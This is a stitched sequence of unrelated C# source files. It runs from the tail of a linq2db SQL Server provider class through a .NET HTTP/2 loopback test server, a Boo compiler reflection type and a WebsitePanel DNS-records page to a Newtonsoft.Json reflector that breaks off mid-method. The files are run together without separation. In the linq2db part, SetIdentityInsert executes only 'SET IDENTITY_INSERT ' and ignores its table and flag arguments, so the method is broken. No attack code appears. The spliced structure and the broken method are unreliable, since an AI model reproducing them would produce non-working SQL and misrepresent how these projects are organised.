SqlHierarchyIdType = types.First(t => t.Name == "SqlHierarchyId"); SqlGeographyType = types.First(t => t.Name == "SqlGeography"); SqlGeometryType = types.First(t => t.Name == "SqlGeometry"); } internal static Type SqlHierarchyIdType; internal static Type SqlGeographyType; internal static Type SqlGeometryType; public static void SetSqlTypes(Type sqlHierarchyIdType, Type sqlGeographyType, Type sqlGeometryType) { SqlHierarchyIdType = sqlHierarchyIdType; SqlGeographyType = sqlGeographyType; SqlGeometryType = sqlGeometryType; } #endregion #region CreateDataConnection public static DataConnection CreateDataConnection(string connectionString, SqlServerVersion version = SqlServerVersion.v2008) { switch (version) { case SqlServerVersion.v2000 : return new DataConnection(_sqlServerDataProvider2000, connectionString); case SqlServerVersion.v2005 : return new DataConnection(_sqlServerDataProvider2005, connectionString); case SqlServerVersion.v2012 : return new DataConnection(_sqlServerDataProvider2012, connectionString); } return new DataConnection(_sqlServerDataProvider2008, connectionString); } public static DataConnection CreateDataConnection(IDbConnection connection, SqlServerVersion version = SqlServerVersion.v2008) { switch (version) { case SqlServerVersion.v2000 : return new DataConnection(_sqlServerDataProvider2000, connection); case SqlServerVersion.v2005 : return new DataConnection(_sqlServerDataProvider2005, connection); case SqlServerVersion.v2012 : return new DataConnection(_sqlServerDataProvider2012, connection); } return new DataConnection(_sqlServerDataProvider2008, connection); } public static DataConnection CreateDataConnection(IDbTransaction transaction, SqlServerVersion version = SqlServerVersion.v2008) { switch (version) { case SqlServerVersion.v2000 : return new DataConnection(_sqlServerDataProvider2000, transaction); case SqlServerVersion.v2005 : return new DataConnection(_sqlServerDataProvider2005, transaction); case SqlServerVersion.v2012 : return new DataConnection(_sqlServerDataProvider2012, transaction); } return new DataConnection(_sqlServerDataProvider2008, transaction); } #endregion #region BulkCopy public static BulkCopyType DefaultBulkCopyType { get; set; } = BulkCopyType.ProviderSpecific; public static BulkCopyRowsCopied ProviderSpecificBulkCopy<T>( DataConnection dataConnection, IEnumerable<T> source, int? maxBatchSize = null, int? bulkCopyTimeout = null, bool keepIdentity = false, bool checkConstraints = false, int notifyAfter = 0, Action<BulkCopyRowsCopied> rowsCopiedCallback = null) where T : class { return dataConnection.BulkCopy( new BulkCopyOptions { BulkCopyType = BulkCopyType.ProviderSpecific, MaxBatchSize = maxBatchSize, BulkCopyTimeout = bulkCopyTimeout, KeepIdentity = keepIdentity, CheckConstraints = checkConstraints, NotifyAfter = notifyAfter, RowsCopiedCallback = rowsCopiedCallback, }, source); } #endregion #region Extensions public static void SetIdentityInsert<T>(this DataConnection dataConnection, ITable<T> table, bool isOn) { dataConnection.Execute("SET IDENTITY_INSERT "); } #endregion public static class Sql { public const string OptionRecompile = "OPTION(RECOMPILE)"; } public static Func<IDataReader,int,decimal> DataReaderGetMoney = (dr, i) => dr.GetDecimal(i); public static Func<IDataReader,int,decimal> DataReaderGetDecimal = (dr, i) => dr.GetDecimal(i); } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Collections.Generic; using System.IO; using System.Net.Security; using System.Net.Sockets; using System.Security.Authentication; using System.Text; using System.Threading; using System.Threading.Tasks; using Xunit; namespace System.Net.Test.Common { public class Http2LoopbackServer : GenericLoopbackServer, IDisposable { private Socket _listenSocket; private Http2Options _options; private Uri _uri; private List<Http2LoopbackConnection> _connections = new List<Http2LoopbackConnection>(); public bool AllowMultipleConnections { get; set; } private Http2LoopbackConnection Connection { get { RemoveInvalidConnections(); return _connections[0]; } } public static readonly TimeSpan Timeout = TimeSpan.FromSeconds(30); public Uri Address { get { var localEndPoint = (IPEndPoint)_listenSocket.LocalEndPoint; string host = _options.Address.AddressFamily == AddressFamily.InterNetworkV6 ? $"[{localEndPoint.Address}]" : localEndPoint.Address.ToString(); string scheme = _options.UseSsl ? "https" : "http"; _uri = new Uri($"{scheme}://{host}:{localEndPoint.Port}/"); return _uri; } } public static Http2LoopbackServer CreateServer() { return new Http2LoopbackServer(new Http2Options()); } public static Http2LoopbackServer CreateServer(Http2Options options) { return new Http2LoopbackServer(options); } private Http2LoopbackServer(Http2Options options) { _options = options; _listenSocket = new Socket(_options.Address.AddressFamily, SocketType.Stream, ProtocolType.Tcp); _listenSocket.Bind(new IPEndPoint(_options.Address, 0)); _listenSocket.Listen(_options.ListenBacklog); } private void RemoveInvalidConnections() { _connections.RemoveAll((c) => c.IsInvalid); } public async Task<Http2LoopbackConnection> AcceptConnectionAsync() { RemoveInvalidConnections(); if (!AllowMultipleConnections && _connections.Count != 0) { throw new InvalidOperationException("Connection already established. Set `AllowMultipleConnections = true` to bypass."); } Socket connectionSocket = await _listenSocket.AcceptAsync().ConfigureAwait(false); Http2LoopbackConnection connection = new Http2LoopbackConnection(connectionSocket, _options); _connections.Add(connection); return connection; } public async Task<Http2LoopbackConnection> EstablishConnectionAsync(params SettingsEntry[] settingsEntries) { (Http2LoopbackConnection connection, _) = await EstablishConnectionGetSettingsAsync().ConfigureAwait(false); return connection; } public async Task<(Http2LoopbackConnection, SettingsFrame)> EstablishConnectionGetSettingsAsync(params SettingsEntry[] settingsEntries) { Http2LoopbackConnection connection = await AcceptConnectionAsync().ConfigureAwait(false); // Receive the initial client settings frame. Frame receivedFrame = await connection.ReadFrameAsync(Timeout).ConfigureAwait(false); Assert.Equal(FrameType.Settings, receivedFrame.Type); Assert.Equal(FrameFlags.None, receivedFrame.Flags); Assert.Equal(0, receivedFrame.StreamId); var clientSettingsFrame = (SettingsFrame)receivedFrame; // Receive the initial client window update frame. receivedFrame = await connection.ReadFrameAsync(Timeout).ConfigureAwait(false); Assert.Equal(FrameType.WindowUpdate, receivedFrame.Type); Assert.Equal(FrameFlags.None, receivedFrame.Flags); Assert.Equal(0, receivedFrame.StreamId); // Send the initial server settings frame. SettingsFrame settingsFrame = new SettingsFrame(settingsEntries); await connection.WriteFrameAsync(settingsFrame).ConfigureAwait(false); // Send the client settings frame ACK. Frame settingsAck = new Frame(0, FrameType.Settings, FrameFlags.Ack, 0); await connection.WriteFrameAsync(settingsAck).ConfigureAwait(false); // The client will send us a SETTINGS ACK eventually, but not necessarily right away. await connection.ExpectSettingsAckAsync(); return (connection, clientSettingsFrame); } public override void Dispose() { if (_listenSocket != null) { _listenSocket.Dispose(); _listenSocket = null; } } // // GenericLoopbackServer implementation // public override async Task<HttpRequestData> HandleRequestAsync(HttpStatusCode statusCode = HttpStatusCode.OK, IList<HttpHeaderData> headers = null, string content = "") { Http2LoopbackConnection connection = await EstablishConnectionAsync().ConfigureAwait(false); (int streamId, HttpRequestData requestData) = await connection.ReadAndParseRequestHeaderAsync().ConfigureAwait(false); // We are about to close the connection, after we send the response. // So, send a GOAWAY frame now so the client won't inadvertantly try to reuse the connection. await connection.SendGoAway(streamId).ConfigureAwait(false); if (string.IsNullOrEmpty(content)) { await connection.SendResponseHeadersAsync(streamId, endStream: true, statusCode, isTrailingHeader: false, headers : headers).ConfigureAwait(false); } else { await connection.SendResponseHeadersAsync(streamId, endStream: false, statusCode, isTrailingHeader: false, headers : headers).ConfigureAwait(false); await connection.SendResponseBodyAsync(streamId, Encoding.ASCII.GetBytes(content)).ConfigureAwait(false); } await connection.WaitForConnectionShutdownAsync().ConfigureAwait(false); return requestData; } public override async Task AcceptConnectionAsync(Func<GenericLoopbackConnection, Task> funcAsync) { using (Http2LoopbackConnection connection = await EstablishConnectionAsync().ConfigureAwait(false)) { await funcAsync(connection).ConfigureAwait(false); } } public async static Task CreateClientAndServerAsync(Func<Uri, Task> clientFunc, Func<Http2LoopbackServer, Task> serverFunc, int timeout = 60_000) { using (var server = Http2LoopbackServer.CreateServer()) { Task clientTask = clientFunc(server.Address); Task serverTask = serverFunc(server); await new Task[] { clientTask, serverTask }.WhenAllOrAnyFailed(timeout).ConfigureAwait(false); } } } public class Http2Options : GenericLoopbackOptions { public int ListenBacklog { get; set; } = 1; public bool UseSsl { get; set; } = PlatformDetection.SupportsAlpn && !Capability.Http2ForceUnencryptedLoopback(); public SslProtocols SslProtocols { get; set; } = SslProtocols.Tls12; } public sealed class Http2LoopbackServerFactory : LoopbackServerFactory { public static readonly Http2LoopbackServerFactory Singleton = new Http2LoopbackServerFactory(); public static async Task CreateServerAsync(Func<Http2LoopbackServer, Uri, Task> funcAsync, int millisecondsTimeout = 60_000) { using (var server = Http2LoopbackServer.CreateServer()) { await funcAsync(server, server.Address).TimeoutAfter(millisecondsTimeout).ConfigureAwait(false); } } public override async Task CreateServerAsync(Func<GenericLoopbackServer, Uri, Task> funcAsync, int millisecondsTimeout = 60_000, GenericLoopbackOptions options = null) { Http2Options http2Options = new Http2Options(); if (options != null) { http2Options.Address = options.Address; } using (var server = Http2LoopbackServer.CreateServer(http2Options)) { await funcAsync(server, server.Address).TimeoutAfter(millisecondsTimeout).ConfigureAwait(false); } } public override bool IsHttp11 => false; public override bool IsHttp2 => true; } public enum ProtocolErrors { NO_ERROR = 0x0, PROTOCOL_ERROR = 0x1, INTERNAL_ERROR = 0x2, FLOW_CONTROL_ERROR = 0x3, SETTINGS_TIMEOUT = 0x4, STREAM_CLOSED = 0x5, FRAME_SIZE_ERROR = 0x6, REFUSED_STREAM = 0x7, CANCEL = 0x8, COMPRESSION_ERROR = 0x9, CONNECT_ERROR = 0xa, ENHANCE_YOUR_CALM = 0xb, INADEQUATE_SECURITY = 0xc, HTTP_1_1_REQUIRED = 0xd } }
#region license // Copyright (c) 2004, Rodrigo B. de Oliveira ([email protected]) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, // are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // * Neither the name of Rodrigo B. de Oliveira nor the names of its // contributors may be used to endorse or promote products derived from this // software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF // THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #endregion using System; using System.Collections.Generic; using System.Reflection; using Boo.Lang.Compiler.TypeSystem.Core; using Boo.Lang.Compiler.TypeSystem.Services; using Boo.Lang.Compiler.Util; using Boo.Lang.Environments; namespace Boo.Lang.Compiler.TypeSystem.Reflection { public class ExternalType : IType { protected IReflectionTypeSystemProvider _provider; private readonly Type _type; IType[] _interfaces; IEntity[] _members; int _typeDepth = -1; string _primitiveName; string _fullName; private string _name; public ExternalType(IReflectionTypeSystemProvider tss, Type type) { if (null == type) throw new ArgumentException("type"); _provider = tss; _type = type; } public virtual string FullName { get { if (null != _fullName) return _fullName; return _fullName = BuildFullName(); } } internal string PrimitiveName { get { return _primitiveName; } set { _primitiveName = value; } } public virtual string Name { get { if (null != _name) return _name; return _name = TypeUtilities.TypeName(_type); } } public EntityType EntityType { get { return EntityType.Type; } } public IType Type { get { return this; } } public virtual bool IsFinal { get { return _type.IsSealed; } } public bool IsByRef { get { return _type.IsByRef; } } public virtual IEntity DeclaringEntity { get { return DeclaringType; } } public IType DeclaringType { get { System.Type declaringType = _type.DeclaringType; return null != declaringType ? _provider.Map(declaringType) : null; } } public bool IsDefined(IType attributeType) { ExternalType type = attributeType as ExternalType; if (null == type) return false; return MetadataUtil.IsAttributeDefined(_type, type.ActualType); } public virtual IType ElementType { get { return _provider.Map(_type.GetElementType() ?? _type); } } public virtual bool IsClass { get { return _type.IsClass; } } public bool IsAbstract { get { return _type.IsAbstract; } } public bool IsInterface { get { return _type.IsInterface; } } public bool IsEnum { get { return _type.IsEnum; } } public virtual bool IsValueType { get { return _type.IsValueType; } } public bool IsArray { get { return false; } } public bool IsPointer { get { return _type.IsPointer; } } public virtual IType BaseType { get { Type baseType = _type.BaseType; return null == baseType ? null : _provider.Map(baseType); } } protected virtual MemberInfo[] GetDefaultMembers() { return ActualType.GetDefaultMembers(); } public IEntity GetDefaultMember() { return _provider.Map(GetDefaultMembers()); } public Type ActualType { get { return _type; } } public virtual bool IsSubclassOf(IType other) { ExternalType external = other as ExternalType; if (null == external /*|| _typeSystemServices.VoidType == other*/) { return false; } return _type.IsSubclassOf(external._type) || (external.IsInterface && external._type.IsAssignableFrom(_type)) ; } public virtual bool IsAssignableFrom(IType other) { ExternalType external = other as ExternalType; if (null == external) { if (EntityType.Null == other.EntityType) { return !IsValueType; } return other.IsSubclassOf(this); } if (other == _provider.Map(Types.Void)) { return false; } return _type.IsAssignableFrom(external._type); } public virtual IType[] GetInterfaces() { if (null == _interfaces) { Type[] interfaces = _type.GetInterfaces(); _interfaces = new IType[interfaces.Length]; for (int i=0; i<_interfaces.Length; ++i) { _interfaces[i] = _provider.Map(interfaces[i]); } } return _interfaces; } public virtual IEnumerable<IEntity> GetMembers() { if (null == _members) { IEntity[] members = CreateMembers(); _members = members; } return _members; } protected virtual IEntity[] CreateMembers() { List<IEntity> result = new List<IEntity>(); foreach (MemberInfo member in DeclaredMembers()) result.Add(_provider.Map(member)); return result.ToArray(); } private MemberInfo[] DeclaredMembers() { return _type.GetMembers(BindingFlags.DeclaredOnly | BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static); } public int GetTypeDepth() { if (-1 == _typeDepth) { _typeDepth = GetTypeDepth(_type); } return _typeDepth; } public virtual INamespace ParentNamespace { get { return null; } } public virtual bool Resolve(ICollection<IEntity> resultingSet, string name, EntityType typesToConsider) { bool found = My<NameResolutionService>.Instance.Resolve(name, GetMembers(), typesToConsider, resultingSet); if (IsInterface) { if (_provider.Map(typeof(object)).Resolve(resultingSet, name, typesToConsider)) found = true; foreach (IType baseInterface in GetInterfaces()) found |= baseInterface.Resolve(resultingSet, name, typesToConsider); } else { if (!found || TypeSystemServices.ContainsMethodsOnly(resultingSet)) { IType baseType = BaseType; if (null != baseType) found |= baseType.Resolve(resultingSet, name, typesToConsider); } } return found; } override public string ToString() { return this.DisplayName(); } static int GetTypeDepth(Type type) { if (type.IsByRef) { return GetTypeDepth(type.GetElementType()); } if (type.IsInterface) { return GetInterfaceDepth(type); } return GetClassDepth(type); } static int GetClassDepth(Type type) { int depth = 0; Type objectType = Types.Object; while (type != null && type != objectType) { type = type.BaseType; ++depth; } return depth; } static int GetInterfaceDepth(Type type) { Type[] interfaces = type.GetInterfaces(); if (interfaces.Length > 0) { int current = 0; foreach (Type i in interfaces) { int depth = GetInterfaceDepth(i); if (depth > current) { current = depth; } } return 1+current; } return 1; } protected virtual string BuildFullName() { if (_primitiveName != null) return _primitiveName; // keep builtin names pretty ('ref int' instead of 'ref System.Int32') if (_type.IsByRef) return "ref " + ElementType.FullName; return TypeUtilities.GetFullName(_type); } ExternalGenericTypeInfo _genericTypeDefinitionInfo = null; public virtual IGenericTypeInfo GenericInfo { get { if (ActualType.IsGenericTypeDefinition) return _genericTypeDefinitionInfo ?? (_genericTypeDefinitionInfo = new ExternalGenericTypeInfo(_provider, this)); return null; } } ExternalConstructedTypeInfo _genericTypeInfo = null; public virtual IConstructedTypeInfo ConstructedInfo { get { if (ActualType.IsGenericType && !ActualType.IsGenericTypeDefinition) return _genericTypeInfo ?? (_genericTypeInfo = new ExternalConstructedTypeInfo(_provider, this)); return null; } } private ArrayTypeCache _arrayTypes; public IArrayType MakeArrayType(int rank) { if (null == _arrayTypes) _arrayTypes = new ArrayTypeCache(this); return _arrayTypes.MakeArrayType(rank); } public IType MakePointerType() { return _provider.Map(_type.MakePointerType()); } } }
// Copyright (c) 2015, Outercurve Foundation. // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, // are permitted provided that the following conditions are met: // // - Redistributions of source code must retain the above copyright notice, this // list of conditions and the following disclaimer. // // - Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // - Neither the name of the Outercurve Foundation nor the names of its // contributors may be used to endorse or promote products derived from this // software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. using System; using System.Data; using System.Configuration; using System.Collections; using System.Globalization; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.UI.WebControls.WebParts; using System.Web.UI.HtmlControls; using WebsitePanel.Providers.DNS; using WebsitePanel.EnterpriseServer; namespace WebsitePanel.Portal { public partial class DnsZoneRecords : WebsitePanelModuleBase { protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { // save return URL ViewState["ReturnUrl"] = Request.UrlReferrer.ToString(); // toggle panels ShowPanels(false); // domain name DomainInfo domain = ES.Services.Servers.GetDomain(PanelRequest.DomainID); litDomainName.Text = domain.DomainName; if (Utils.IsIdnDomain(domain.DomainName)) { litDomainName.Text = string.Format("{0} ({1})", Utils.UnicodeToAscii(domain.DomainName), domain.DomainName); } } } public string GetRecordFullData(string recordType, string recordData, int mxPriority, int port) { switch (recordType) { case "MX": return String.Format("[{0}], {1}", mxPriority, recordData); case "SRV": return String.Format("[{0}], {1}", port, recordData); default: return recordData; } } private void GetRecordsDetails(int recordIndex) { GridViewRow row = gvRecords.Rows[recordIndex]; ViewState["SrvPort"] = ((Literal)row.Cells[0].FindControl("litSrvPort")).Text; ViewState["SrvWeight"] = ((Literal)row.Cells[0].FindControl("litSrvWeight")).Text; ViewState["SrvPriority"] = ((Literal)row.Cells[0].FindControl("litSrvPriority")).Text; ViewState["MxPriority"] = ((Literal)row.Cells[0].FindControl("litMxPriority")).Text; ViewState["RecordName"] = ((Literal)row.Cells[0].FindControl("litRecordName")).Text; ; ViewState["RecordType"] = (DnsRecordType)Enum.Parse(typeof(DnsRecordType), ((Literal)row.Cells[0].FindControl("litRecordType")).Text, true); ViewState["RecordData"] = ((Literal)row.Cells[0].FindControl("litRecordData")).Text; } private void BindDnsRecord(int recordIndex) { try { ViewState["NewRecord"] = false; GetRecordsDetails(recordIndex); ddlRecordType.SelectedValue = ViewState["RecordType"].ToString(); litRecordType.Text = ViewState["RecordType"].ToString(); txtRecordName.Text = ViewState["RecordName"].ToString(); txtRecordData.Text = ViewState["RecordData"].ToString(); txtMXPriority.Text = ViewState["MxPriority"].ToString(); txtSRVPriority.Text = ViewState["SrvPriority"].ToString(); txtSRVWeight.Text = ViewState["SrvWeight"].ToString(); txtSRVPort.Text = ViewState["SrvPort"].ToString(); } catch (Exception ex) { ShowErrorMessage("GDNS_GET_RECORD", ex); return; } } protected void ddlRecordType_SelectedIndexChanged(object sender, EventArgs e) { ToggleRecordControls(); } private void ToggleRecordControls() { rowMXPriority.Visible = false; rowSRVPriority.Visible = false; rowSRVWeight.Visible = false; rowSRVPort.Visible = false; lblRecordData.Text = "Record Data:"; IPValidator.Enabled = false; switch (ddlRecordType.SelectedValue) { case "A": lblRecordData.Text = "IP:"; IPValidator.Enabled = true; break; case "AAAA": lblRecordData.Text = "IP (v6):"; IPValidator.Enabled = true; break; case "MX": rowMXPriority.Visible = true; break; case "SRV": rowSRVPriority.Visible = true; rowSRVWeight.Visible = true; rowSRVPort.Visible = true; lblRecordData.Text = "Host offering this service:"; break; default: break; } } protected void Validate(object source, ServerValidateEventArgs args) { var ip = args.Value; System.Net.IPAddress ipaddr; args.IsValid = System.Net.IPAddress.TryParse(ip, out ipaddr) && (ip.Contains(":") || ip.Contains(".")) && ((ddlRecordType.SelectedValue == "A" && ipaddr.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) || (ddlRecordType.SelectedValue == "AAAA" && ipaddr.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6)); } private void SaveRecord() { if (Page.IsValid) { bool newRecord = (bool)ViewState["NewRecord"]; if (newRecord) { // add record try { int result = ES.Services.Servers.AddDnsZoneRecord(PanelRequest.DomainID, txtRecordName.Text.Trim(), (DnsRecordType) Enum.Parse(typeof(DnsRecordType), ddlRecordType.SelectedValue, true), txtRecordData.Text.Trim(), Int32.Parse(txtMXPriority.Text.Trim()), Int32.Parse(txtSRVPriority.Text.Trim()), Int32.Parse(txtSRVWeight.Text.Trim()), Int32.Parse(txtSRVPort.Text.Trim())); if (result < 0) { ShowResultMessage(result); return; } } catch (Exception ex) { ShowErrorMessage("GDNS_ADD_RECORD", ex); return; } } else { // update record try { int result = ES.Services.Servers.UpdateDnsZoneRecord(PanelRequest.DomainID, ViewState["RecordName"].ToString(), ViewState["RecordData"].ToString(), txtRecordName.Text.Trim(), (DnsRecordType)ViewState["RecordType"], txtRecordData.Text.Trim(), Int32.Parse(txtMXPriority.Text.Trim()), Int32.Parse(txtSRVPriority.Text.Trim()), Int32.Parse(txtSRVWeight.Text.Trim()), Int32.Parse(txtSRVPort.Text.Trim())); if (result < 0) { ShowResultMessage(result); return; } } catch (Exception ex) { ShowErrorMessage("GDNS_UPDATE_RECORD", ex); return; } } // rebind and switch gvRecords.DataBind(); ShowPanels(false); } else return; } private void DeleteRecord(int recordIndex) { try { GetRecordsDetails(recordIndex); int result = ES.Services.Servers.DeleteDnsZoneRecord(PanelRequest.DomainID, ViewState["RecordName"].ToString(), (DnsRecordType)ViewState["RecordType"], ViewState["RecordData"].ToString()); if (result < 0) { ShowResultMessage(result); return; } } catch (Exception ex) { ShowErrorMessage("GDNS_DELETE_RECORD", ex); return; } // rebind grid gvRecords.DataBind(); } protected void btnAdd_Click(object sender, EventArgs e) { ViewState["NewRecord"] = true; // erase fields ddlRecordType.SelectedIndex = 0; txtRecordName.Text = ""; txtRecordData.Text = ""; txtMXPriority.Text = "1"; txtSRVPriority.Text = "0"; txtSRVWeight.Text = "0"; txtSRVPort.Text = "0"; ShowPanels(true); } private void ShowPanels(bool editMode) { bool newRecord = (ViewState["NewRecord"] != null) ? (bool)ViewState["NewRecord"] : true; pnlEdit.Visible = editMode; litRecordType.Visible = !newRecord; ddlRecordType.Visible = newRecord; pnlRecords.Visible = !editMode; ToggleRecordControls(); } protected void btnSave_Click(object sender, EventArgs e) { SaveRecord(); } protected void btnCancel_Click(object sender, EventArgs e) { ShowPanels(false); } protected void gvRecords_RowEditing(object sender, GridViewEditEventArgs e) { BindDnsRecord(e.NewEditIndex); ShowPanels(true); e.Cancel = true; } protected void gvRecords_RowDeleting(object sender, GridViewDeleteEventArgs e) { DeleteRecord(e.RowIndex); e.Cancel = true; } protected void odsDnsRecords_Selected(object sender, ObjectDataSourceStatusEventArgs e) { if (e.Exception != null) { ShowErrorMessage("GDNS_GET_RECORD", e.Exception); //this.DisableControls = true; e.ExceptionHandled = true; } } protected void btnBack_Click(object sender, EventArgs e) { if (ViewState["ReturnUrl"] != null) Response.Redirect(ViewState["ReturnUrl"].ToString()); else RedirectToBrowsePage(); } } }
#if !UNITY_WINRT || UNITY_EDITOR || (UNITY_WP8 && !UNITY_WP_8_1) #region License // Copyright (c) 2007 James Newton-King // // Permission is hereby granted, free of charge, to any person // obtaining a copy of this software and associated documentation // files (the "Software"), to deal in the Software without // restriction, including without limitation the rights to use, // copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the // Software is furnished to do so, subject to the following // conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES // OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT // HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, // WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR // OTHER DEALINGS IN THE SOFTWARE. #endregion #pragma warning disable 436 using System; using System.ComponentModel; using System.Globalization; using System.Linq; using System.Reflection; using System.Runtime.Serialization; #if !((UNITY_WINRT && !UNITY_EDITOR)) using System.Security.Permissions; #endif using Newtonsoft.Json.Utilities; namespace Newtonsoft.Json.Serialization { internal interface IMetadataTypeAttribute { Type MetadataClassType { get; } } internal static class JsonTypeReflector { public const string IdPropertyName = "$id"; public const string RefPropertyName = "$ref"; public const string TypePropertyName = "$type"; public const string ValuePropertyName = "$value"; public const string ArrayValuesPropertyName = "$values"; public const string ShouldSerializePrefix = "ShouldSerialize"; public const string SpecifiedPostfix = "Specified"; private static readonly ThreadSafeStore<ICustomAttributeProvider, Type> JsonConverterTypeCache = new ThreadSafeStore<ICustomAttributeProvider, Type>(GetJsonConverterTypeFromAttribute); #if !(UNITY_WP8 || UNITY_WP_8_1) && (!UNITY_WINRT || UNITY_EDITOR) private static readonly ThreadSafeStore<Type, Type> AssociatedMetadataTypesCache = new ThreadSafeStore<Type, Type>(GetAssociateMetadataTypeFromAttribute); private const string MetadataTypeAttributeTypeName = "System.ComponentModel.DataAnnotations.MetadataTypeAttribute, System.ComponentModel.DataAnnotations, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"; private static Type _cachedMetadataTypeAttributeType; #endif public static JsonContainerAttribute GetJsonContainerAttribute(Type type) { return CachedAttributeGetter<JsonContainerAttribute>.GetAttribute(type); } public static JsonObjectAttribute GetJsonObjectAttribute(Type type) { return GetJsonContainerAttribute(type) as JsonObjectAttribute; } public static JsonArrayAttribute GetJsonArrayAttribute(Type type) { return GetJsonContainerAttribute(type) as JsonArrayAttribute; } public static DataContractAttribute GetDataContractAttribute(Type type) { // DataContractAttribute does not have inheritance DataContractAttribute result = null; Type currentType = type; while (result == null && currentType != null) { result = CachedAttributeGetter<DataContractAttribute>.GetAttribute(currentType); currentType = currentType.BaseType; } return result; } public static DataMemberAttribute GetDataMemberAttribute(MemberInfo memberInfo) { // DataMemberAttribute does not have inheritance // can't override a field if (memberInfo.MemberType == MemberTypes.Field) return CachedAttributeGetter<DataMemberAttribute>.GetAttribute(memberInfo); // search property and then search base properties if nothing is returned and the property is virtual PropertyInfo propertyInfo = (PropertyInfo) memberInfo; DataMemberAttribute result = CachedAttributeGetter<DataMemberAttribute>.GetAttribute(propertyInfo); if (result == null) { if (propertyInfo.IsVirtual()) { Type currentType = propertyInfo.DeclaringType; while (result == null && currentType != null) { PropertyInfo baseProperty = (PropertyInfo)ReflectionUtils.GetMemberInfoFromType(currentType, propertyInfo); if (baseProperty != null && baseProperty.IsVirtual()) result = CachedAttributeGetter<DataMemberAttribute>.GetAttribute(baseProperty); currentType = currentType.BaseType; } } } return result; } public static MemberSerialization GetObjectMemberSerialization(Type objectType) { JsonObjectAttribute objectAttribute = GetJsonObjectAttribute(objectType); if (objectAttribute == null) { DataContractAttribute dataContractAttribute = GetDataContractAttribute(objectType); if (dataContractAttribute != null) return MemberSerialization.OptIn; return MemberSerialization.OptOut; } return objectAttribute.MemberSerialization; } private static Type GetJsonConverterType(ICustomAttributeProvider attributeProvider) { return JsonConverterTypeCache.Get(attributeProvider); } private static Type GetJsonConverterTypeFromAttribute(ICustomAttributeProvider attributeProvider) { JsonConverterAttribute converterAttribute = GetAttribute<JsonConverterAttribute>(attributeProvider); return (converterAttribute != null) ? converterAttribute.ConverterType : null; } public static JsonConverter GetJsonConverter(ICustomAttributeProvider attributeProvider, Type targetConvertedType) { Type converterType = GetJsonConverterType(attributeProvider); if (converterType != null) { JsonConverter memberConverter = JsonConverterAttribute.CreateJsonConverterInstance(converterType); if (!memberConverter.CanConvert(targetConvertedType)) throw new JsonSerializationException("JsonConverter {0} on {1} is not compatible with member type {2}.".FormatWith(CultureInfo.InvariantCulture, memberConverter.GetType().Name, attributeProvider, targetConvertedType.Name)); return memberConverter; } return null; } #if !((UNITY_WP8 || UNITY_WP_8_1) || (UNITY_WINRT && !UNITY_EDITOR)) public static TypeConverter GetTypeConverter(Type type) { #if !((UNITY_WP8 || UNITY_WP_8_1) || (UNITY_WINRT && !UNITY_EDITOR)) return TypeDescriptor.GetConverter(type); #else Type converterType = 